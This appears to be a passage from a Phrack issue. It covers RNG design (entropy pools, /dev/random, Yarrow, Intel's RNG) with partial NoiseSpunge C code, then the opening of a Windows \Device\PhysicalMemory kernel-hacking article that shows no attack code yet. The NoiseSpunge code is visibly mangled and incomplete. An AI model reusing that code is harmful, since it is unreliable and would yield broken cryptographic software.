previous inputs contained within it, and provide an at least seamingly random state regardless of the quality of the entropy input (patternistic inputs should still look random in the pool). Mixing the contents of the entropy pool should neither sacrifice any of the entropy within it nor be considered to add entropy to its state. If the mixing function expands the pool, entropy estimation of its contents should not change. Only the entropy gathering functions are responsible for increasing entropy and are dealt with serperately. The best candidates for mixing functions are hashing algorithms. The hashing algorithm should accept any size input, and have a large sized output that reflects the speed at which entropy is gathered, and have a non-deterministic output. To preserve gathered entropy, the hashing function should not input more entropy than the size of it's output. With that said, if the hashing function outputs 160bits, it should not be input more than 160bits prior to output. If the hashing algorithm is cryptographically secure (which it should be) the output will yield the same amount of entropy as the input. If the output is larger than the input, the state of the pool cannot be assumed to have increased in entropy. There are several approaches to using large pools of entropy. One approach implments a pool that is hashed linearly. For this method, you would need a buffer that is concatinated with the last input of entropy. Hashing should be started at the end of the buffer. The rest of the buffer should be hashed, one chunk (the size of the output) at a time, each time XORing the output with the output of the last block's hash to ensure the entire pool is affected by the last input, without overwritting any previous entropy. This is only an examplar method. Whichever procedure you choose, it should meet all the criteria mentioned in the previous paragraphs. Another approach to maintaining a large entropy pool is using multiple hashed contexts which are used to affect each other. A common use is a pool that contains unmanipulated entropy. Once that pool is full, it is hashed and used to update another pool either by updating a hashing context or XORing. This is cascaded through as many pools as desired, but to avoid losing previous entropy, some pools should only be updated after it's parent pool (the one that updates it) has been updated a certain number of times. For example, once the first hashed pool has been updated 8 times, a second pool can be updated. Once the second hashed pool has been updated 3 times, it can update a third pool. With this method, the third pool contains entropy from the last 24 entropy updates. This conserves less entropy (limited by the size of the hashing contexts) but provides better quality entropy. Entropy is of better quality because the source of the entropy containted within the third pool is completly dependent on 24 entropy inputs. Inputing entropy into a pool is usualy called updating or seeding. Entropy pools combined with the output function by themselves are in fact PRNGs. What makes a RNG is the entropy gathering process which obtains truly random seeds. As long a good entropy is input, the RNG will have an infinite period (no output patterns) as oposed to PRNGs which have a semi-fixed point at whitch they will start to repeat all previous outputs in the same order. Entropy pools are the key to preventing any previous or future outputs of RNG from being predicted. Attacks against an RNG to determine previous and future outputs are either based on knowledge of the entropy pool, entropy inputs or previous outputs. The pool should be designed to prevent knowledge of its current state from compromising any or all future outputs. To do this, entropy pools should undergo a drastic change from time to time by removing protions or all of its entropy. This is called reseeding. Reseeding should _always_ replace the entropy that is removed with fresh entropy before outputing. If the entropy is not replaced, the pool will be in a severely weakened state. An RNG does not need to reseed, but if it doesn't, it must have entropy added at a rate greater than the RNG's output. Reseeding should only occur after sufficient unused entropy has been accumulated to fill a large portion of the pool, and the entropy estimation of the pool should be adjusted to the estimated size of the input entropy. Reseeding should not occur very often, and only based on the number of bits output by the RNG and the size of the pool. A safe estimation on the reseeding frequency of an RNG would be the after an 95% of the size of the entropy input has been output. This estimate assumes that entropy is added to the pool in between the RNG's outputs. If this is not the case, reseeding should occur more frequently. The less entropy is input between outputs, the better the chances that an attacker who has found one output will find the previous output (which can cascade backwards after each output is found). 1.4) Output Functions An RNG's output should be passed through a one-way function. A one-way function's output is derrived from its input, but that input is computationaly infeasable to derive from its output. One-way hash functions are perfect for this. More complex methods involve using portions of the pool as key data fed to a symmetric encryption algorithm that encrypts another portion of the pool and outputs the ciphertext. Expansion-compression is a very effective one-way function as well. To do this you can use portions of the pool as seeds to a PRNG and generate multiple outputs (each the size of the PRNG's seed) and then inputing all of these into a hash function and outputing its result. This is effective because many intermediate (expanded) states could result in the same hash output, but only one iniciate (before expansion) state can result in that intermediate state. Every time the RNG outputs, its entropy estimate should be decremented by the size of the output. This is done with the assumption that the output entirely consists of entropy. Because that output's entropy is still in the pool, it is now redundant and cannot be assumed as entropy (inside the pool) any longer. If the pool is 512bits in size, and 160bits of entropy is consumed on every output then almost all entropy hash been used after 3 outputs and the pool should be reseeded. There is a problem nearly impossible to overcome that occurs when implementing entropy pools: there is no way of determining what entropy bits were output, and which were not. The best way to nullify the symptomes of this problem is by making it impossible to know when entropy has been used more than once based on the the RNG's output. When an output occurs, the pool's state must be permuted so that consecutive outputs without any entropy added or reseeding will not result in identical RNG outputs. The pool's state permutation must be a one-way function and must apply the same concepts and criteria used in the output function. The pool's entropy size is always assumed to be identical after permutation as long as the procedure follows the criteria. 1.5) Implementation All the effort put into a well designed RNG is useless if it isn't properly implemented. Three layers of the implemetation will be covered: media, hardware/software, and usage of the output. Storage and communication media each represent a risk in an unencrypted state. The following lists various degrees of risk assigned to storage and communication media. Risks are assigned as such: 0 - no risk 1 - low risk 2 - medium risk 3 - high risk MEDIA RISK ------------------------------------ RAM 0 *& Hard Drive 1 *& Shared memory 1 *& Removable disks 2 LAN 2 & WAN 3 Any properly encrypted media's risk is 0. * If the storage media is on a computer connected to a network, risk is increased by 1. & If physical access is possible (computer/LAN)., risk is increased by 1. The highest risk of all medias should be interpreted as the implementation's risk (weakest link, good bye!). High risk is unacceptable. Medium risk is acceptable depending on the value of the RNG's output (what's it worth to an attacker?). A personal diary can easily cope with medium risk unless you have many skeletons in your closet. Industrial secrets should only use 0 risk RNGs. Acceptable risk is usualy up to the programmer, but the user should be aware of his choice. Hardware RNGs should be tamper-proof. If any physical modification is attempted, the RNG should no longer output. This precaution prevents manipulation of the entropy pool's state and output. There should be no way of monitoring hardware RNGs through frequencies, radiation, voltage, or any other emissions generated by the RNG. Any of these could be used as a source of information with whitch the RNG's entropy pool or output could be compromised. To prevent this, all hardware RNGs should be properly shielded. Software implementations can be very tricky. Reverse engineering will remain a problem until digital signing of executable files is implemented at the operating system level. Until then, any attempts made on the programmer's behalf to prevent reverse engineering of the RNG's software implementation will only delay the innevitable. It is still important that the programmer takes care in writting the software to have to lowest possible risk factor (the chart takes into account reverse engineering of software). // the following applies to RNGs seperate from their calling applications The RNG must take special care to ensure that only one program has access to each of the RNG's outputs. The method by which the data is transfered from the RNG to the program must not succomb to observation. Distinct outputs are usualy guarrentied by the output function, but sometimes the output is copied to a temporary buffer. It might be possible to trick an RNG into conserving that buffer, or copying it elsewhere providing easy observation. A quick solution is for an application to encrypt the RNG's output with a key it generates by its own means. However, you could go all out and implement a full key-escrow between the RNG and the calling applications and still be vulnerable to a hack. The kind of _prevention_ a programmer incorporates into software only serves as a road block, but this is often enough to discourage 99.9% of its users from attempting to compromise security. Not much can be done about 0.1% that can still manipulate the software because there will always be a way to crack software. 1.6) Analysis There are two important aspects to analysing an RNG: randomness and security. To evaluate an RNG's randomness, one usualy resorts to statistical analysis of the RNG's input (entropy gathering process) and output (output function). To evaluate it's security, one would look for flaws in its entropy gathering, entropy pool, mixing function, and output function that allow an attacker to find past, present, or future outputs by any means possible. There is no guarrentying the effectiveness of either of these aspects. The only certain thing is once the RNG is broken, it is broken; until then, you can only speculate. There are many statistical tests available on the internet suitable for testing randomness of data. Most require a large sample of data stored in a file to derive significant results. A Probabilistic value is obtained through statistical analysis of the sample. This value is usualy in the form of P, a floating point number between 0 and 1. Tests are done in various block sizes usualy between 8 and 32bits. P's precision varies from one test to the next. A P value close to 0.5 is what is usualy desired. When P is close to 0.5, probability is at it's midrange and there is no incline towards either 0 or 1. An RNG is not weak because it has a value close to 1 or 0. It can occur even with purely random data. If it were impossible to obtain a value close to 0 or 1, the RNG would be flawed anyway. This is because when data is completly random, all outputs are equaly likely. This is why patterned outputs are possible. When P is less then satisfactory, many new samples should be created and tested. If other samples result in bad Ps then the RNG most likely has deterministic output and should not be used. DieHard offers an armada of 15 tests that use P values. Other tests describe there results with an integer and it's target. The closer the integer is to its target the better. An example of this is the Maurer Universal Statistics Test. The problem with statistical tests is that any good PRNG or hashing function will pass them easily without any entropy. Even if the output is non-deterministic the RNG is only an RNG if it cannot be predicted. For that reason, the RNG's entropy must be non-deterministic as well. Unless the entropy source can be guarrentied to function properly, it is wise to use the same tests on the raw entropy itself. By doing this you can achieve a sufficient level of confidence about the randomness. A big speed-bump stares you right in the eyes when you're trying to do this, however. Entropy is often gathered at a very slow pace making the gathering of a sufficiently large data sample extremely tedius and in some circumstances it might not even be worthwhile. Whether this is the case or not, it is logical to intellegently scrutinise entropy sources, rather than depending on statistical tests (which cannot guarrenty anything) to find flaws (see 1.1). Evaluating an RNG's security is a complexe task with infinite means and only one end: a break. The odds are always well stacked against an RNG. No matter how many provisions are made to prevent breaks, new attacks will always eventualy emerge from that RNG or another. Every aspect of the RNG must be studied carefully, from entropy gathering right up to the delivery of the RNG's output. Every component should be tested individualy and then as a group. Tests include the possibility of hacks that can tamper with or monitor entropy gathering, and cryptanalysis of mixing and output functions. Most breaks are discovered under laboratory conditions. These are called academic breaks and they usualy require very specific conditions be met in order to function (usualy highly improbable). Finding these breaks is a broad topic on its own and is beyond of the scope in article. Successful breaks are usually the result of months (often years) of pain-staking work done by cryptanalysts with years of experience. The best thing to do is to carefully design the RNG from start to finish with security in mind. Even as the limits of mathematics and cryptanalysis are reached in testing, advancements in sience could reak havoc on your RNG. For example, Tempest scanning could be used by an attacker to follow keystrokes and mouse positions. Discoveries can even be made in the analysis of white noise, eventualy. These breaks are usualy found by scholars and professionals who seek only to make their knowledge available before damage occurs. Not much can be done to prevent attacks that are unknown. Finding an effective fix quickly and learning from the is what is expected from developers. Thankfully, these attacks emerge very rarely, but things are changing as research increases. Only the security analysis of the RNGs in section 2 will be discussed because each has already been tested for and passed randomness analysis. ----| 2 Description of specific RNGs 2.1) NoiseSpunge's Design Information Source: Uhhhh, I wrote it. 2.1.0) NoiseSpunge Overview NoiseSpunge was specifically written for generating random 256bit keys suitable for strong encryption. Gathering entropy for a single output (256bits) requires a few seconds of mouse movement on the user's part. Its structure is complex and computationaly expensive. NoiseSpunge is meant to be a component within cryptosystems, and for that reason, special consideration has to be made in order to prevent it from being a liability. The trade off in this implementation is it would be clumsy at best if large quantities of random data were needed regularly because it would require intense user-interaction and it would consume too many CPU cycles. 2.1.1) NoiseSpunge Entropy Gathering A PRNG is seeded with initial zeros. The PRNG then outputs a value used to calculate the length of the interval used. When the interval is triggered, the mouse position is checked for movement. If the mouse has moved since the last trigger the PC's high-frequency clock is queried for its current value. The 4 least significant bits are XORed with the 4 least significant bits of the mouse's x & y coordinates. A new interval is then calculated from the PRNG. The 4 bits produced are concatenated until 32 bits are gathered and output. The 32bits are concatenated to the an entropy buffer and also used to update the PRNG that sets the interval. The process is then repeated. If the mouse has not moved, a new interval is set and the process repeats until is has moved. There is also a function that allows the programmer to input 32bits of entropy at a time. This function is suitable if there is a hardware entropy device or another known secure source of entropy on a particular system. However, the use of another RNG's output would be redundant if it is good and useless if it is bad. 2.1.2) NoiseSpunge Entropy Estimation Entropy estimation is straight forward. The worst case scenario is assumed with each input. Only 4bits are gathered for every mouse capture. No further estimations are done because they would only yield results 4bits or greater. Entropy estimation for the supplementary function that allows the programmer to supply his own entropy requires the programmer to guarrantee his entropy is of good quality; estimation of this input's entropy is left in his hands. 2.1.3) NoiseSpunge Entropy Pool The internal state comprises 762bit. There is a 256bit seed, a 256bit primary hash, and a 256bit secondary hash. 256bit Haval is used as the hashing function. When a 32bit block of entropy is added, it is appended to a 256bit buffer. Once the buffer is full the primary hash is updated with it. The seed is XORed with The primary hash's output unless this is the 8th primary reseed. In that case, the primary hash's output is input into the secondary hash and that hash's output is permuted (see bellow) and replaces the seed. Seed permutation is accomplished by an expansion-compression. 32bit words of the seed are fed as a PRNG's random seed and used to output two 32bit words. All 512bits of the PRNG's output are hashed and replace the pool's seed. After every primary reseed, a KeyReserve counter is incremented and capped at 8. The KeyReserve reperesents the number of 256bit groups of entropy that have been added to the internal state. This KeyReserve is a rough estimate of when there is no longer any purpose to adding entropy into the pool and the entropy gathering thread can be paused (until the RNG outputs). 2.1.4) NoiseSpunge Output Function There are 2 methods provided for the RNG's output: safe and forced. A safe output makes sure the KeyReserve is not zeroed and decrements it after output. A forced output ignores the KeyReserve. To output, the seed is copied to a temporary buffer and is then permuted. The new seed is used a key to initialize Rijndael (symmetric block cipher). The temporary buffer is encrypted with Rijndael and then permuted with an expansion-compression (the same way the seed is). This is repeated for N rounds (chosen by the programmer) and the buffer is then output. 2.1.5) NoiseSpunge Analysis [1] The heavy relyance upon mouse movement could _starve_ the entropy pool if the mouse is not in use for an extended period of time. However, a counter prevents output when entropy is low. [2] The programmer could forcefully input poor quality entropy and weaken the RNG's internal state. [3] There are no provisions for systems without high-resolution timers. [4] Even though the pool's internal state is 762bits long, there is a maximum of 256bits of entropy at any state. (The other bits are only there to prevent back-tracking and to obfuscate the seed). That makes this RNG only suitable when small amounts of secure random data are needed. 2.2) Intel RNG's Design Information Source: Intel Random Number Generator White Paper *1 2.2.0) Intel RNG Overview The Intel RNG is system-wide. It is designed to provide good quality random data in massive quantities to any software that requires it. It's average throughput is 75Kb/s (bits). The Intel Security Driver provides a bridge between the middleware (CDSA, RSA-BSAFE, and Microsoft CryptoAPI) that will serve out the random numbers to requesting applications and the hardware. The hardware portion is in Intel's 810 chipset, and will be in the 82802 Firmware Hub Device for all future 8xx chipsets. {WARNING: these are some of my personal opinions; take them with a grain of salt} Intel has chosen to eloquantly label its RNG as a TRNG (True Random Number Generator), but then they go on to call it an RNG through the rest of the paper. Thechnicaly there is no fundamental difference that sets it asside from any other good RNG; it is a label for hype and has nothing to do with its ability to produce random numbers (RNG==TRNG & TRNG==RNG). As for your daily dose of corporate assurance: "The output of Intel RNG has completed post-design validation with Cryptography Research Inc. (CRI) and the Federal Information Processing (FIPS) Level 3 test for statistical randomness (FIPS 140-1)." I find it reassuring that a company (CRI) has analyzed and is supporting this RNG. That isn't something you see very often. On the other hand FIPS140-1 is just another hype generator. After reading FIPS140-1, one realises it has absolutely NOTHING to do with the quality of the RNG, but hey! Who cares? Microsoft seems to think it's good enough to use in their family of _high_quality_and_security_ products, so it must be great. All kidding asside, despite the corporate stench, this RNG is well designed and will prevent many RNG blunders such as Netscape's. I think this is a step in the right direction. Rather than letting Joe, Timmy his cousin, and Timmy's best friend's friend design their own RNGs, they provide a good solution for everyone without having them trip on their own feet like Netscape did. 2.2.1) Intel RNG Entropy Gathering Intel's Random Number Generator is to be integrated into PC motherboards. There are 2 resistors and 2 oscillators (one slow, the other fast). The voltage difference between the 2 resistors is amplified to sample thermal noise. This noise source is used to modulate the slow clock. This clock with variable modulation is used to set intervals between measurements of the fast clock. When the interval is triggered the frequency of the fast clock is then filtered through what Intel calls the von Neumann corrector (patent pending). The corrector compensates for the fast clocks bias towards staying in fixed bit states (regardless of the slow clock's variable modulation). It works by comparring pairs of bits and outputing only one or no bits ([1,0]=0; [0,1]=1; [0,0]or[1,1]=no output;). The output of the corrector is grouped in 32bit blocks and sent to the Intel Security Driver. 2.2.2) Intel RNG Entropy Estimation No estimations are done for a few reasons. Because the entropy source is hardware based, it cannot be manipulated unless it is put into temperatures far beyond or bellow resonable ambient conditions, or the computer's power is cut off (in which case the entropy gathering stops). Beyond that, all entropy is gathered in the same way and can be assumed of identical quality. 2.2.3) Intel RNG Entropy Pool The Intel Security Driver takes care of mixing the RNG's output. The pool is composed of 512bits of an SHA-1 hash contexts divided into two states. An 80bit hash of the first state is generated and appended with 32 bits of entropy (from the hardware) and the first 160bits from the first state to create the second state. When another 32bits of entropy are generated, the second state becomes the first state and the same process is repeated. 2.2.4) Intel RNG Output Function The last 16bits of the 80bit hash of the first state are output to the middleware. The Intel Security Driver ensures that each output is dispatched only once. If desired, additional processing of the output will have to be done by the program that requested the random data. 2.2.5) Intel RNG Analysis [1] The need to implement the von Neumann corrector is demonstration of the RNG's affinity for repetitive sequences. An attacker could calculate when 1s or 0s are disproportionatly output by estimating it's throughput in bits/sec, but this doesn't lead to any feasable attacks (yet). [2] The use of contracted middleware may lead to security holes. Before using a company's middleware, you may want to wait a few months just to see if a quick break is released. 2.3) Linux' /dev/random's Design Information Source: /dev/random source code *2 2.3.0) /dev/random Overview Linux provides the /dev/random character device as an interface for applications to recieve random data with good quality entropy. It provides a gernourously sized entropy pool (512 bytes) to accomodate the operating system and all software running on it. When quality entropy is not necessary, a second character device /dev/urandom is provided as a PRNG to avoid wastefully depleting /dev/random's entropy pool. 2.3.1) /dev/random Entropy Gathering External functions from the kernel trigger the addition of entropy into the pool. Events that trigger this are key presses, mouse movement, and IRQs. Uppon each trigger, 32bits of a high-frequency timer are copied, and another 32bits are derrived depending on the type of trigger (either the mouse coordinates, keybaord scancode, or IRQ number). 2.3.2) /dev/random Entropy Estimation Entropy estimation is calculated with the help of three deltas. Delta1 is the time elapsed since the last trigger of its type occured. Delta2 is the difference between Delta1 and the previous Delta1. Delta3 is the difference between Delta2 and the previous Delta2. The smallest of the three deltas calculated is chosen as Delta. The least significant bit of Delta is ignored and the next 12bits are used to increment the entropy counter. 2.3.3) /dev/random Entropy Pool This RNG uses an entropy pool of 4096bits. Prior to input, a marker denoting the current position along the pool is decremented by 2 32bit words. If the position is 0, the position is wrapped around backwards to the second last 32bit word. Entropy is added in two 32bit words: x & y. A variable, j determines how many bits to the left the entropy should be rotated. Before entropy is added, j is incremented by 14 (7 if the pool is in position 0). Entropy is rotated by j. Depending on the current position along the pool, y is XORed with 5 other fixed portions of the pool (the following positions are wrapped around from the current position: 103,76, 51,25,1 (for a 4096bit pool) and x is XORed with each next word. x is shifted to the right 3bits, XORed by a constant within a 1x7 table (0, 0x3b6e20c8, 0x76dc4190, 0x4db26158, 0xedb88320, 0xd6d6a3e8, 0x9b64c2b0, 0xa00ae278) the index of which is chosen by x AND 7 (bitwise, 3bits). x XOR y is then appended to the pool skipping one word. y is shifted to the right 3bits, XORed with the constant table the same way x was and then copied into the word that was skipped in the pool. The pool remains at this position (previous position - 2, possibly wrapped around the end). 2.3.4) /dev/random Output Function When output is requested from the RNG, the timer and the number of bytes requested is added to the pool as entropy. The pool is then hashed with SHA-1 and the first 2 words of the hash are fed as entropy into the pool; this is repeated 8 times, but each time the next 2 words of the hash are fed into the pool. The first half of the final hash is then XORed to its second half to produce the output. The output is either the requested size or 20 bytes (half the hash size); the smallest of these is chosen. 2.3.5) Linux' /dev/random Analysis [1] Monitoring and predicting of some IRQs is possible in a networked environment. [2] There is allot of redundancy in the lower 16bits of the entropy added. For example, when a keypress occurs a 32bit variable holds 16bits from a high-resolution timer, and the lower 16 bits are 0-255 for the keypress (256+ are used to designate interupts). This leaves 8bits of redundancy for every keypress. [3] The time elapsed since the last block of entropy was added is usually irrelevent to the quality of the entropy, unless that lapse is very short. This doesn't take into account sequencial entropy entries like continuous disk access while moving a file. [4] When output occurs, the mixing mechanism re-enters allot of hashed entropy which may or may not be of good quality. These re-entered words are added to the entropy count but should not. They are bits of entropy that have already been counted. After output, 512bits of entropy are redundantly entered. If this estimate is accurate, then after 8 calls to output there are 4096bits (the entire pool) of entropy of undifinable quality. Under these circumstances, if no entropy is input from user-interacting during the calls, the RNG becomes a PRNG. 2.4) Yarrow's Design information sources: Yarrow source code and White Papers *3,*4 2.4.0) Yarrow Overview Yarrow is designed by Bruce Schneier, auther of Applied Cryptography and designer of block ciphers Blowfish and AES finalist Twofish. Yarrow is Schneier's interpretation of the proper design of an RNG and is accompanied by a detailed paper descibing its inner-workings and analysis (see the second information source). It is the product of lengthy research and sets standard in properties expected to be found in a secure RNG. It is discussed here for comparisson between commonly trusted RNGs and one designed by a seasoned proffessional. 2.4.1) Yarrow Entropy Gathering System hooks wait for keyboard or mouse events. If a key has been pressed, the time elapsed since the last key-press is appended to an array. The same is done when a mouse button has been pressed. If the mouse has moved, the x and y coordinates are appended to a mouse movement array. Once an array is full is is passed to the entropy estimation function. 2.4.2) Yarrow Entropy Estimation The entropy estimation function is passed an estimated number of bits of entropy chosen by the programmer's bias towards it's source. One could decide that that mouse movement only represents 4 bits of entropy per movement, while keyboard latency is worth 8bits per key-press. Another measurement uses a small compression algorithm and measures the compressed size. The third and last measurement is half the size of the entropy sample. The smallest of these three measurements increments the entropy estimate. 2.4.3) Yarrow Entropy Pool When entropy is input, it is fed into a fast pool (SHA-1 context) and an entropy estimate is updated for that pool. Once the pool has accumulated 100bits of entropy, the hash output of this pool is fed into the slow pool and its entropy estimate is updated. When the slow pool has accumulated 160bits of entropy it's hash output becomes the current key. 2.4.4) Yarrow Output Function When output is required, the current key (derived from the slow pool) encrypts a counter (its number of bits is chosen by the programmer) and outputs the ciphertext; the counter is then incremented. After 10 outputs, the RNG reseeds the key by replacing it with another (forced) output. The key will next be reseeded either when the slow pool has accumulated 160bits or 10 outputs have occured. 2.4.5) Yarrow Analysis [1] Mouse movement on its own is very redundant, there is a very limited range of motion between the last postion and the current position after the OS has sent the message that the mouse has moved. Most of the bits representing the mouse's position are unlikely to change and throw-off the entropy estimates in this RNG. [2] Even though the pool's internal state is 320+n+kbits long, there is a maximum of 160bits of entropy during any state. "Yarrow-160, our current construction, is limited to at most 160 bits of security by the size of its entropy accumulation pools." *4 ----| 3) NoiseSpunge Source Code The Following source code is simply a brief example. Do whatever you want with it; even that thing you do with your tongue and the rubber ... never mind. It _WILL_NOT_COMPILE_ because about 1,200 lines have been omitted, consisting of Haval, Rijndael and the PRNG). Haval and Rijndael source code is readily available. Any PRNG will do, but make sure it works with 32bit inputs and outputs and has a period of at least 2^32 (4294967296). I've devided it into 3 chunks: entropy gathering, entropy pool, output functions. [ENTROPY GATHERING] This loop must run on a thread independent of the application's main thread. For OS dependancies, I've created dummy functions that should be replaced: int64 CounterFreq; //high-res counter's frequency/second int64 QueryCounter; //high-res counter's current value Delay(int ms); //1 milisecond precision delay int GetMouseX; //current mouse x coordinate int GetMouseY; // " y coordinate #define MOUSE_INTERVAL 10 { Prng_CTX PCtx; int x,y; unsigned long Block; unsigned long BitsGathered; int65 Interval,Frequency,ThisTime,LastTime; unsigned long BitsGathered=0; bool Idled=false; Frequency=CounterFreq; bool Terminated=false; //Set value to true to end the loop do { if (Idled==false) { Delay(MOUSE_INTERVAL); Idled=true; } ThisTime=QueryCounter; if ((ThisTime-LastTime)>Interval) { if ((x!=GetMouseX)&&(y!=GetMouseY) { x=mouse.cursorpos.x; y=mouse.cursorpos.y; Block|=((x^y^ThisTime)& 15)<>2)+MOUSE_INTERVAL) * Frequency)/1000; } LastTime=QueryCounter; Idled=false; } } while (Terminated==false); } [ENTROPY POOL] #define SEED_SIZE 8 #define PRIMARY_RESEED 8 #define SECONDARY_RESEED 8 //parameters #define MAX_KEY_RESERVE 8 #define KEY_BUILD_ROUNDS 16 typedef unsigned long Key256[SEED_SIZE]; Key256 Seed; Key256 EntropyBuffer; Haval_CTX PrimaryPool; Haval_CTX SecondaryPool; unsigned char PrimaryReseedCount; unsigned char EntropyCount; unsigned char KeyReserve; //FUNCTIONS void NoiseSpungeInit { HavalInit(&PrimaryPool); HavalInit(&SecondaryPool); for (int i=0;i<8;i++) Seed[i]=0; EntropyCount=0; PrimaryReseedCount=0; KeyReserve=0; } void PermuteSeed { Key256 TempBuffer[2]; Prng_CTX PCtx; Haval_CTX HCtx; for (int i=0;i0) KeyReserve--; Return 1; } void ForcedGetKey(Key256 *Key) { Key256 TempSeed; Key256 TempBuffer[2]; Rijndael_CTX RCtx; Prng_CTX PCtx; Haval_CTX HCtx; for (int i=0;i0) KeyReserve--; } ----| 4) References *1 Intel Random Number Generator White Paper http://developer.intel.com/design/security/rng/CRIwp.htm *2 /dev/random source code http://www.openpgp.net/random/ *3 Yarrow source code http://www.counterpane.com/Yarrow0.8.71.zip *4 Yarrow-160: Notes on the Design and Analysis of the Yarrow Cryptographic Pseudorandom Number Generator http://www.counterpane.com/yarrow-notes.html ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12 |=----------------=[ Playing with Windows /dev/(k)mem ]=-----------------=| |=-----------------------------------------------------------------------=| |=---------------=[ crazylord ]=---------------=| 1 - Introduction 2 - Introduction to Windows Objects 2.1 What are they ? 2.2 Their structure 2.3 Objects manipulation 3 - Introduction to \Device\PhysicalMemory 3.1 The object 3.2 Need writing access ? 4 - Having fun with \Device\PhysicalMemory 4.1 Reading/Writing to memory 4.3 What's a Callgate ? 4.4 Running ring0 code without the use of Driver 4.2 Deeper into Process listing 4.5 Bonus Track 5 - Sample code 5.1 kmem.h 5.2 chmod_mem.c 5.3 winkdump.c 5.2 winkps.c 5.4 fun_with_ipd.c 6 - Conclusion 7 - References --[ 1 - Introduction This papers covers an approch to Windows /dev/kmem linux like object. My research has been done on a Windows 2000 professional version that means that most of the code supplied with the article should work with all Windows 2000 version and is supposed to work with Windows XP with little code modification. Windows 9x/Me are clearly not supported as they are not based on the same kernel architecture. --[ 2 - Introduction to Windows Objects Windows 2000 implements an object models to provide a way of easy manipulating the most basic elements of the kernel. We will briefly see in this chapter what are these objects and how we can manipulate them. ----[ 2.1 What are they ? According to Microsoft, the object manager was designed to meet these goals * use named object for easy recognition * support POSIX subsystem * provide a easy way for manipulating system resources * provide a charge mechanism to limit resource used by a process * be C2 security compliant :) (C2: Controlled Access Protection) There are 27 differents objects types: * Adapter * File * Semaphore * Callback * IoCompletion * SymbolicLink * Controler * Job * Thread * Desktop * Key * Timer * Device * Mutant * Token * Directory * Port * Type * Driver * Process * WaitablePort * Event * Profile * WindowStation * EventPair * Section * WmiGuid Most of these names are explicit enough to understand what's they are about. I will just explain some obscure names: * an EventPair is just a couple of 2 Event objects. * a Mutant also called Mutex is a synchronization mechanism for resource access. * a Port is used by the LPC (Local Procedure Call) for Inter-Processus Communication. * a Section (file mapping) is a region of shared memory. * a Semaphore is a counter that limit access to a resource. * a Token (Access Token) is the security profile of an object. * a WindowStation is a container object for desktop objects. Objects are organised into a directory structure which looks like this: - \ - ArcName (symbolic links to harddisk partitions) - NLS (sections ...) - Driver (installed drivers) - WmiGuid - Device (/dev linux like) - DmControl - RawDmVolumes - HarddiskDmVolumes - PhysicalDmVolumes - Windows - WindowStations - RPC Control - BaseNamedObjects - Restricted - ?? (current user directory) - FileSystem (information about installable files system) - ObjectTypes (contains all avaible object types) - Security - Callback - KnownDlls (Contains sections of most used DLL) The "??" directory is the directory for the current user and "Device" could be assimiled as the "/dev" directory on Linux. You can explore these structures using WinObj downloadable on Sysinternals web sites (see [1]). ----[ 2.2 Their structure Each object is composed of 2 parts: the object header and the object body. Sven B. Schreiber defined most of the non-documented header related structures in his book "Windows 2000 Undocumented Secrets". Let's see the header structure. --- from w2k_def.h: typedef struct _OBJECT_HEADER { /*000*/ DWORD PointerCount; // number of references /*004*/ DWORD HandleCount; // number of open handles /*008*/ POBJECT_TYPE ObjectType; // pointer to object type struct /*00C*/ BYTE NameOffset; // OBJECT_NAME offset /*00D*/ BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset /*00E*/ BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset /*00F*/ BYTE ObjectFlags; // OB_FLAG_* /*010*/ union { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock /*010*/ PQUOTA_BLOCK QuotaBlock; /*010*/ POBJECT_CREATE_INFO ObjectCreateInfo; }; /*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor; /*018*/ } OBJECT_HEADER, *POBJECT_HEADER; --- Each offset in the header are negative offset so if you want to find the OBJECT_NAME structure from the header structure, you calculate it by doing: address = object_header_address - name_offset OBJECT_NAME structure allows the creator to make the object visible to other processes by giving it a name. OBJECT_HANDLE_DB structure allows the kernel to track who is currently using this object. OBJECT_QUOTA_CHARGES structure defines the resource charges levied against a process when accessing this object. The OBJECT_TYPE structure stocks global informations about the object type like default security access, size of the object, default charge levied to process using an object of this type, ... A security descriptor is bound to the object so the kernel can restrict access to the object. Each object type have internal routines quite similar to C++ object constructors and destructors: * dump method - maybe for debugging purpose (always NULL) * open method - called when an object handle is opened * close method - called when an object handle is closed * delete method - called when an object is deleted * parse method - called when searching an object in a list of object * security method - called when reading/writing a protection for the current object * query name method - called when a thread request the name of the object * "ok to close" - called when a thread is closing a handle The object body structure totally depends on the object type. A very few object body structure are documented in the DDK. If you are interested in these structures you may google :) or take a look at chapeaux-noirs home page in the kernel_reversing section (see [4]). ---- [ 2.3 Object manipulation On the user-mode point of view, objects manipulation is done through the standart Windows API. For example, in order to access a file object you can use fopen()/open() which will call CreateFile(). At this point, we switch to kernel-mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe. As you can see, we still don't know we are manipulating an "object". By disassembling IoCreateFile(), you will see some function like ObOpenObjectByName, ObfDereferenceObject, ... (By the way you will only see such functions if you have win2k symbols downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause these functions are not exported.) Each function's name begining with "Ob" is related to the Object Manager. So basically, a standart developper don't have to deal with object but we want to. All the object manager related function for user-mode are exported by ntdll.dll. Here are some examples: NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject, NtMakeTemporaryObject, NtOpenDirectoryObject, ... Some of these functions are documented in the MSDN some (most ?) are not. If you really want to understand the way object works you should better take a look at the exported function of ntoskrnl.exe beginning with "Ob". 21 functions exported and 6 documented =] If you want the prototypes of the 15 others, go on the ntifs.h home page (see [3]) or to chapeaux-noirs web site (see [4]). --[ 3 - Introduction to \Device\PhysicalMemory As far as i know, \Device\PhysicalMemory object was discovered by Mark Russinovich from Sysinternals (see [1]). He coded the first code using it : Physmem avaible on his site. Enough greeting :), now we will try to understand what is this object used for and what we can do with it. ----[ 3.1 - the object In order to look at the object information, we are going to need a tool like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]). Ok let's start working ... Microsoft(R) Windows 2000 Kernel Debugger Version 5.00.2184.1 Copyright (C) Microsoft Corp. 1981-1999 Symbol search path is: c:\winnt\symbols Loading Dump File [livekd.dmp] Full Kernel Dump File Kernel Version 2195 UP Free Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0 Loaded kdextx86 extension DLL Loaded userkdx extension DLL Loaded dbghelp 